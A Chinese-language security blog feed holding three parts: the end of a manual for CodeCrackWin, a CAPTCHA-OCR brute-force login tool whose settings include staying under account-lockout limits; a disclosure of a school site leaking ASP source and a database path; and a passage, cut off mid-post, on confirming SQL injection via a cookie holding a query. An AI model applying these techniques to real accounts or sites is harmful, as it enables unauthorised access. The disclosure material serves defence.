&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;19.&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;登入&lt;u&gt;失敗&lt;/u&gt;的訊息&lt;/span&gt;／&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;登入&lt;u&gt;成功&lt;/u&gt;的訊息&lt;/span&gt;：用來判斷帳密正確與否的字串，若&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;不勾選&lt;/span&gt;，則回應內容若存在指定的字串，就視為登入失敗；若&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;勾選&lt;/span&gt;，則回應內容若存在指定的字串，就視為登入成功。(見 20. )&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;20. (&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;判斷登入結的文字&lt;/span&gt;)：配合19.&amp;nbsp;的設定，用來判斷登入成功或失敗的回應文字。這裡判斷的字串不一定是顯示在頁面的文字，必須小心分析出成功或失敗的差異。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;21.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;驗證碼錯誤的訊息&lt;/span&gt;：當驗證碼錯誤時，伺服回應的判斷訊息，程式是利用此文字判斷填入的驗證碼是否正確。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;22.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;帳號鎖定之訊息&lt;/span&gt;：當帳號被鎖定時，伺服回應的判斷訊息，程式是利用此文字判斷帳號是否已被鎖住，鎖住的帳號就不會再嘗試。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;23.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;OCR字元&lt;/span&gt;：設定OCR識別的範圍，如果圖形驗證碼只會出現數字，此欄可以填「0123456789」，如果會出現大小寫及數字，就必須填入「&lt;span style=&quot;color: #c00000;&quot;&gt;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&lt;/span&gt;」&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;24.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;噪音線灰階下限&lt;/span&gt;、25.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;噪音線灰階上線&lt;/span&gt;、25&#39;.&amp;nbsp;&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;降階值&lt;/span&gt;：這三個值會影響程式過濾圖形的噪音線及噪音點的能力，噪音線灰階的低愈低，表示顏色愈黑，0是全黑，反之，愈高就是愈白，255是全白，所謂上限或下限是指色碼值介於上、下限之間的像點才視為待辨識的文字，其餘的像點將被當成雜點而被濄濾掉，程式過濾噪音的能力就愈好，ORC的正確率就愈高。圖形會先轉成256階的灰階形式，以利OCR處理，&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;降階值&lt;/span&gt;就是將256再降成更少階，例如填「8」，就是將每8階縮成1階，所以256階就會變成32階，如果圖形的文字和背景、噪音的色差很大，可以調高此值，如果色差很小，則此值就要調小一點。&lt;span style=&quot;color: red;&quot;&gt;這三個&amp;gt;值沒有一定的基準，針對不同的站臺，一定有不同的最佳值，必須自己嘗試&lt;/span&gt;。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;26.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;密碼嘗試次數&lt;/span&gt;：最少1次，若設9999即表示嘗試密碼清單中的所有值，這一項是為了防止帳號被鎖而設計的，如果已知密碼錯5次會被鎖定，則可以將次數設為3，讓帳號不會被鎖，只要過幾天，使用者正確登入，則密碼錯誤的計數就會歸零。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;27.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;放大倍數&lt;/span&gt;：進行OCR時，將圖形放大有時可以提高成功率，此值為浮點數，可以設&amp;nbsp;1到2之間的數。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;28.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;旋轉角度&lt;/span&gt;：有些圖形內的文字會以鈄體方式呈現，可以利用旋轉角度(-90~90之間)將它變成水平，以利OCR處理，當然對於隨機傾鈄的文字就無能為力了。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;29.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;test&lt;/span&gt;鈕：當設好各個欄位後，可用「test」鈕試跑一筆，它真的只會跑一筆而已，用途就是測試欄位填的恰不恰當，也可以看看OCR結果理不理想，如果不理想可以試者調整：&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;噪音線灰階下限&lt;/span&gt;、&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;噪音線灰階上線&lt;/span&gt;、&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;降階值&lt;/span&gt;、&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;去2nd雜點&lt;/span&gt;、&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;去3rd雜點&lt;/span&gt;、&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;放大倍數&lt;/span&gt;、&lt;span style=&quot;color: #0000cc; font-weight: bold;&quot;&gt;旋轉角度&lt;/span&gt;等參數，找出最佳辨識力。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;30.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;開始嘗試&lt;/span&gt;：當按下此鈕，程式就會開始嘗試猜解，而且按鈕文字會改成「&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;停止嘗試&lt;/span&gt;」，隨時可按「停止嘗試」中止此次的猜解作業（&lt;span style=&quot;color: #38761d;&quot;&gt;本程式沒有「暫停」功能&lt;/span&gt;）。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;31.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;查看說明&lt;/span&gt;：載入本程式的說明文件(就是現在看到的頁面)&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;32.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;載入設定&lt;/span&gt;、33.&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;儲存設定&lt;/span&gt;：因為本程式有許多設定欄位，如果每次執行都要逐一設定，鐵定瘋掉，為了讓設定結果可以重複取用，故可將目前運作良好的值存成設定檔，下次只要用「32.&lt;span style=&quot;color: blue;&quot;&gt;載入設定&lt;/span&gt;」就可以取回設定值。當然也可以建一個公版，修改後用「33.&lt;span style=&quot;color: blue;&quot;&gt;儲存設定&lt;/span&gt;」&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;34.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;瀏覽視窗&lt;/span&gt;)：每一回的瀏覽畫面會顯示在此視窗。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;35.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;處理後的驗證碼圖形&lt;/span&gt;)、36.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;選用圖形碼&lt;/span&gt;)：這裡會顯示圖片經程式轉換過程中，不同處理階段經OCR的結果，可以此預覽圖，做為各項參數調整的參考。在七道處理過程中，如果覺得某一道的OCR之正確率最高，可利將它&lt;span style=&quot;color: #c00000; font-weight: bold;&quot;&gt;勾選&lt;/span&gt;，就會以該道的OCR結果作為提交的圖形碼，而不是提交最終結果的圖形碼。&lt;br /&gt;此圖形處理過程平常是隱藏的，可以&lt;span style=&quot;color: #c00000; font-weight: bold;&quot;&gt;雙擊10.&amp;nbsp;的圖片&lt;/span&gt;來開／關此方框。&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;37.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;破解的帳密&lt;/span&gt;)：如果有猜解到的帳密會顯示在這裡。而執行目錄下會記錄執行日誌，格式為yyyymmddRun.log&amp;nbsp;(&lt;span style=&quot;color: #cc0000;&quot;&gt;yyyymmdd&lt;/span&gt;是年月日)。&lt;br /&gt;
在執行破解時，此清單會隱藏，若要手動開關，可以雙擊16.&amp;nbsp;或&amp;nbsp;17.&amp;nbsp;的文字標籤（即&lt;span style=&quot;color: #c00000; font-style: italic; font-weight: bold;&quot;&gt;帳號檔&lt;/span&gt;或&lt;span style=&quot;color: #c00000; font-style: italic; font-weight: bold;&quot;&gt;密碼檔&lt;/span&gt;字樣）&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;38.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;自定JavaScript&lt;/span&gt;)：這些JavaScript只會作用於登入頁面。當頁面載入完成後，會呼叫__func__函式，而寫在此處的JavaScript則會被包封進__func__中，所以，寫在此處的JavaScript只支援單純的指令，請不要再用&amp;nbsp;function NAME() {　　&amp;nbsp;}&amp;nbsp;去包裝。例如：&lt;/div&gt;
&lt;div style=&quot;border: 1pt solid black; margin-left: 3em; margin-right: 2em; padding: 4pt;&quot;&gt;/*test　　&amp;nbsp;不要再自己加&amp;nbsp;function NAME() {　&amp;nbsp;}　&amp;nbsp;*/&lt;br /&gt;
document.getElementById(&quot;Account&quot;).style.backgroundColor&amp;nbsp;= &quot;green&quot;;&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 3em; text-indent: -1em;&quot;&gt;39.(&lt;span style=&quot;color: #990000; font-weight: bold;&quot;&gt;目前嘗試的帳密&lt;/span&gt;)：為了讓使用者目前處理進度，這裡會顯示目前嘗試的帳號及密碼。&lt;/div&gt;
&lt;div style=&quot;color: #990000; font-size: 14pt; font-weight: bold;&quot;&gt;四、載入帳號及密碼字典檔&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;為了進行暴力猜解，會需要帳號及密碼的字典檔，字典檔必須一組資料一行，程式目前不支援在一個檔案中同時以帳號、密碼組合的配對形式，帳號及密碼必須是各自獨立的檔案。下面是帳號字典檔的範例。&lt;/div&gt;
&lt;div style=&quot;border: 1pt solid black; margin-left: 2em; margin-right: 2em; padding: 4pt;&quot;&gt;
admin&lt;br /&gt;
88991&lt;br /&gt;
93676&lt;br /&gt;
peterwumoj7427&lt;br /&gt;
52137&lt;/div&gt;
&lt;div style=&quot;color: #990000; font-size: 14pt; font-weight: bold;&quot;&gt;五、存成設定檔及載入設定檔&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;由於猜解圖形驗證碼和猜解一般只有帳號密碼的困難度有很大差異，必須調整最佳參數才能得到理想效果，調整參數相當累人，當然不希望每回測試時都要重填一次，因此可將目前的設定結果儲存起來（見「33.&lt;span style=&quot;color: #c00000; font-weight: bold;&quot;&gt;儲存設定&lt;/span&gt;」），下次執行同一網站的猜解時就可用「32.&lt;span style=&quot;color: #c00000; font-weight: bold;&quot;&gt;載入設定&lt;/span&gt;」載入之前儲存的參數。&lt;br /&gt;設定檔本身就是一支文字檔，也可以手動編輯，有關設定檔的說明請參考&lt;a href=&quot;http://atic-tw.blogspot.tw/2017/04/codecrack_16.html&quot; style=&quot;color: blue; text-decoration: underline;&quot; target=&quot;_parent&quot;&gt;CodeCrack的設定檔&lt;/a&gt;。&lt;/div&gt;

&lt;div style=&quot;color: #990000; font-size: 14pt; font-weight: bold;&quot;&gt;六、測試用範例網頁&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;任隨猜解別人網站的帳密是違法行為，為了測試此工具，筆者做了一組小小的網頁（CodeCrackDemo），您可以將它架在IIS上，做為測試之用，如果執行無誤，應該會發現兩組帳密：&lt;span style=&quot;font-weight: bold;&quot;&gt;admin&lt;/span&gt;／&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;12345678a&lt;/span&gt;&amp;nbsp;和&lt;span style=&quot;font-weight: bold;&quot;&gt;user&lt;/span&gt;／&lt;span style=&quot;color: blue; font-weight: bold;&quot;&gt;myPass1234&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/2448745732264259484/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/08/codecrackwin-30.html#comment-form' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/2448745732264259484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/2448745732264259484'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/08/codecrackwin-30.html' title='CodeCrackWin 3.0版(圖形驗證碼暴力破解工具) 使用說明'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWFGtfzbhElWOy7n20zoIbCEN7tuHnUM3g9Sq-CtFKNjRSqZYXum2o5ZW8DvqJYyUr8NpbrLhpeEvTOen_UG_CiJnKImK9fxui7H61qHAUvVkpTdjAVfUbpCLueIqxeWHceBcYM_Ew7GFR/s72-w400-h254-c/Pic01.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-8857352354728023599</id><published>2021-08-29T05:45:00.003+08:00</published><updated>2021-08-29T05:45:43.443+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="網頁設計"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>網站管理員搞烏龍</title><content type='html'>&lt;div style=&quot;border: 4px solid rgb(255, 0, 0); font-size: 1.2em; line-height: 200%; padding: 8px; word-break: normal;&quot;&gt;
&lt;p&gt;這是發生在國內某家高級中學全球資訊網的低級錯誤，已通報&lt;a href=&quot;https://zeroday.hitcon.org/vulnerability/ZD-2021-00558&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ZeroDay&lt;/a&gt;！&lt;br /&gt;&lt;/p&gt;是為了節省經費或者便宜行事？該網站在同一部伺服器上掛載兩套Web服務，一套用&lt;b&gt;Apache+PHP&lt;/b&gt;，另一套是&lt;b&gt;IIS+ASP&lt;/b&gt;，當然，這種作法大有人在，架構本身並不是什麼問題，問題出在網站的設定上！
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;
&lt;span style=&quot;color: #990000;&quot;&gt;基於職業道德，不便提供此網站的網址及細部資訊&lt;/span&gt;&lt;/b&gt;。
&lt;/p&gt;該校首頁(PHP)利用iframe內嵌另一組新聞管理系統(ASP)，由於兩個服務不能共用相同PORT，因此，首頁用&lt;b&gt;PORT 80&lt;/b&gt;，新聞管理用&lt;b&gt;PORT 8080&lt;/b&gt;，這樣分配很合理。不過，可能是PHP比較早建置，沒有考慮到會和ASP共用伺服器，所以將ASP網頁被當成一般文字檔。
&lt;div&gt;依照正常操作，瀏覽此網站並不會發現異樣，亦即，瀏覽www.XXXX.edu.tw會開啟全球資訊網首頁，首頁中間就是內嵌的新聞管理系統。&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsdArqtb2tgIRWDFgGf3nrQrmxYFB3eDM2ujR8Poz2e2oNiUhxWi8Ykd4sfnS6WmPSKbEHSE8B-W1UkADwLHxPNfafradCkO7eQ_X9lI2-pPw4nxrYkJue4wA02fuSJFcoE8CUZz1ugHXO/s1442/homePage.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1051&quot; data-original-width=&quot;1442&quot; height=&quot;291&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsdArqtb2tgIRWDFgGf3nrQrmxYFB3eDM2ujR8Poz2e2oNiUhxWi8Ykd4sfnS6WmPSKbEHSE8B-W1UkADwLHxPNfafradCkO7eQ_X9lI2-pPw4nxrYkJue4wA02fuSJFcoE8CUZz1ugHXO/w400-h291/homePage.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;點擊新聞管理系統的「登入」鈕，會彈出登入畫面(見上圖)，注意登入畫面上的URL，它是走PORT 8080(www.XXXX.edu.tw:8080/admin.asp)，如果瀏覽此網址，但將8080移除，會神奇地看到&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;admin.asp的原始碼&lt;/b&gt;&lt;/span&gt;。&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjndcXvc-HDNsWt11HEOynsUdqbYx7B8fF6nxPMbl5xZajSj8hP6Suhda-cgMAOjJxlqkb5MpdOP0DtaeHA5RcbKiu0IGcp-I9CqkbU3GBy7_RRQtIh6MABCA4QWACJudEkB_Z8ZUEiXTl5/s1070/sourceCode.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1046&quot; data-original-width=&quot;1070&quot; height=&quot;391&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjndcXvc-HDNsWt11HEOynsUdqbYx7B8fF6nxPMbl5xZajSj8hP6Suhda-cgMAOjJxlqkb5MpdOP0DtaeHA5RcbKiu0IGcp-I9CqkbU3GBy7_RRQtIh6MABCA4QWACJudEkB_Z8ZUEiXTl5/w400-h391/sourceCode.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
  &lt;p&gt;從洩漏的原始碼可看出後端使用&lt;b&gt;MS ACCESS&lt;/b&gt;資料庫及其路徑，只要給予正確路徑，便能下載資料庫檔，等於把整個資料庫都拿走了！&lt;/p&gt; &lt;div style=&quot;margin-top: 8px;&quot;&gt;至於怎麼修正這個錯誤呢？最簡單的作法就是不要將ASP網頁和PHP放在同一個根目錄下，只要移動ASP目錄，在IIS重新設定虛擬目錄，就能避免PHP存取ASP的資源。&lt;/div&gt;
  &lt;div style=&quot;border: 2px solid green; margin-top: 8px;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;有管網站的朋友，請檢查看看，是否也犯下這般烏龍失誤！&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/8857352354728023599/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/08/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8857352354728023599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8857352354728023599'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/08/blog-post.html' title='網站管理員搞烏龍'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsdArqtb2tgIRWDFgGf3nrQrmxYFB3eDM2ujR8Poz2e2oNiUhxWi8Ykd4sfnS6WmPSKbEHSE8B-W1UkADwLHxPNfafradCkO7eQ_X9lI2-pPw4nxrYkJue4wA02fuSJFcoE8CUZz1ugHXO/s72-w400-h291-c/homePage.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-8994001202478314317</id><published>2021-02-21T10:44:00.002+08:00</published><updated>2021-02-21T10:44:52.393+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="網頁設計"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>又是Cookie惹的禍！Cookie裡的SQL Injection</title><content type='html'>&lt;div style=&quot;border: 4px solid rgb(255, 0, 0); font-size: 1.2em; line-height: 200%; padding: 8px; word-break: normal;&quot;&gt;
&lt;p&gt;&amp;nbsp;前一篇&lt;a href=&quot;http://atic-tw.blogspot.com/2021/02/blog-post.html&quot; style=&quot;font-weight: bold;&quot;&gt;分享破解密碼」的經驗&lt;/a&gt;提到，開發人員將密碼編碼後記錄到&lt;b&gt;Cookie&lt;/b&gt;裡，這一篇則是將資料庫的SQL語句記錄到&lt;b&gt;Cookie&lt;/b&gt;裡，只要竄改&lt;b&gt;Cookie&lt;/b&gt;裡的SQL語句，就能命令資料庫執行其他動作。&lt;/p&gt;
&lt;p&gt;&lt;b&gt;國內&lt;/b&gt;某地圖查詢服務網，當使用者輸入查詢資料後，會將完整的SQL語句記錄在Cookie的&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;QuerySQL&lt;/b&gt;&lt;/span&gt;欄位中，使用者跳到下一資料頁或其他資料頁時，&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;QuerySQL&lt;/b&gt;&lt;/span&gt;內容會傳回伺服器，而且伺服器直接以此SQL語句再次執行查詢，這讓駭客有了注入SQL命令的機會。&lt;/p&gt;
  &lt;p style=&quot;background-color: #ccccff; border: 1px solid green; line-hight: 120%; padding: 8px;&quot;&gt;筆者曾試者利用SQLMAP去測試此進入點，但一直無法得到有效的回應，如果有同好知道如何利用SQLMAP直接攻擊SQL語句，尚請不吝指教！&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;
&lt;span style=&quot;color: #990000;&quot;&gt;基於職業道德，不便提供此服務網站的網址及細部資訊&lt;/span&gt;&lt;/b&gt;。
&lt;/p&gt;
&lt;p&gt;首先，直接點擊查詢頁上的「&lt;b&gt;顯示全部&lt;/b&gt;」鈕(&lt;b&gt;圖1&lt;/b&gt;)，可以得到各單位的清單，檢視清單頁的回應標頭之&lt;b&gt;Cookie&lt;/b&gt;，可看到查詢的SQL語句(&lt;b&gt;圖2&lt;/b&gt;)。&lt;/p&gt;
&lt;div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLvtLJpRVu-HJGHSLR-dPFDgpanGhQ6rW3BZ81Rpn_XUeBKNeIoDB5TstG-8Qm6nYoRyk9DJR9xoCLb1M01ogZPC3N25S-wIJerr3H8XXCIspbnNO9lSRNKJY_Z5vqOnoz921qmYnj1fC/s820/ib01.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;645&quot; data-original-width=&quot;820&quot; height=&quot;315&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLvtLJpRVu-HJGHSLR-dPFDgpanGhQ6rW3BZ81Rpn_XUeBKNeIoDB5TstG-8Qm6nYoRyk9DJR9xoCLb1M01ogZPC3N25S-wIJerr3H8XXCIspbnNO9lSRNKJY_Z5vqOnoz921qmYnj1fC/w400-h315/ib01.PNG&quot; width=&quot;400&quot; /&gt;
&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖1:地圖查詢頁&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div style=&quot;margin-top:8px&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPd5n_BiyGeZytgnt6jPifT_4uvR4JFaNBaPCDuwKfIV60UPd4pKnHyh5rwBB-wNdStxub3tS45_wig0MZpr61mxnL5413lkk-YK7VfHOScomuwFHVy3pq_nYukfbMYGXgyKtCkXRIUxBm/s825/ib02.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;825&quot; height=&quot;295&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPd5n_BiyGeZytgnt6jPifT_4uvR4JFaNBaPCDuwKfIV60UPd4pKnHyh5rwBB-wNdStxub3tS45_wig0MZpr61mxnL5413lkk-YK7VfHOScomuwFHVy3pq_nYukfbMYGXgyKtCkXRIUxBm/w400-h295/ib02.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖2:查詢後，在cookei記錄SQL語句&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;為了重複測試，從換頁清單找出瀏覽網址(&lt;b&gt;圖3&lt;/b&gt;)，每次變更&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;QuerySQL&lt;/b&gt;&lt;/span&gt;內容後，就瀏覽前述網址，讓資料庫伺服器執行&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;QuerySQL&lt;/b&gt;&lt;/span&gt;所指定的SQL語句。&lt;/p&gt;
&lt;div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnNMG_Ky5we4mpzC0EY_ThVloXPwaaaX_cvptEVNtPdar2uivesIrhoC2c4_963Ioh5TeyRVs17g5JWRpZo_7F53YuZyO9BJSl8V36cHAE1C_7LLTYBqTb5vusqv85PybOyJ3xUmeID6c8/s824/ib03.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;455&quot; data-original-width=&quot;824&quot; height=&quot;221&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnNMG_Ky5we4mpzC0EY_ThVloXPwaaaX_cvptEVNtPdar2uivesIrhoC2c4_963Ioh5TeyRVs17g5JWRpZo_7F53YuZyO9BJSl8V36cHAE1C_7LLTYBqTb5vusqv85PybOyJ3xUmeID6c8/w400-h221/ib03.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖3:找出直接瀏覽的網址&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;為測試修改後的&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;QuerySQL&lt;/b&gt;&lt;/span&gt;是否會交由後端執行，將SQL的條件移除(&lt;b&gt;Where&lt;/b&gt;及之後的文字，如&lt;b&gt;圖4&lt;/b&gt;)，再重新瀏覽，此時系統真的回傳&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;1839&lt;/b&gt;
&lt;/span&gt;頁(如&lt;b&gt;圖5&lt;/b&gt;，&lt;span style=&quot;color: #cc0000;&quot;&gt;原本只有1頁&lt;/span&gt;)，至此確認Cookie的&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;QuerySQL&lt;/b&gt;&lt;/span&gt;存在SQL injection漏洞。&lt;/p&gt;
&lt;div&gt;
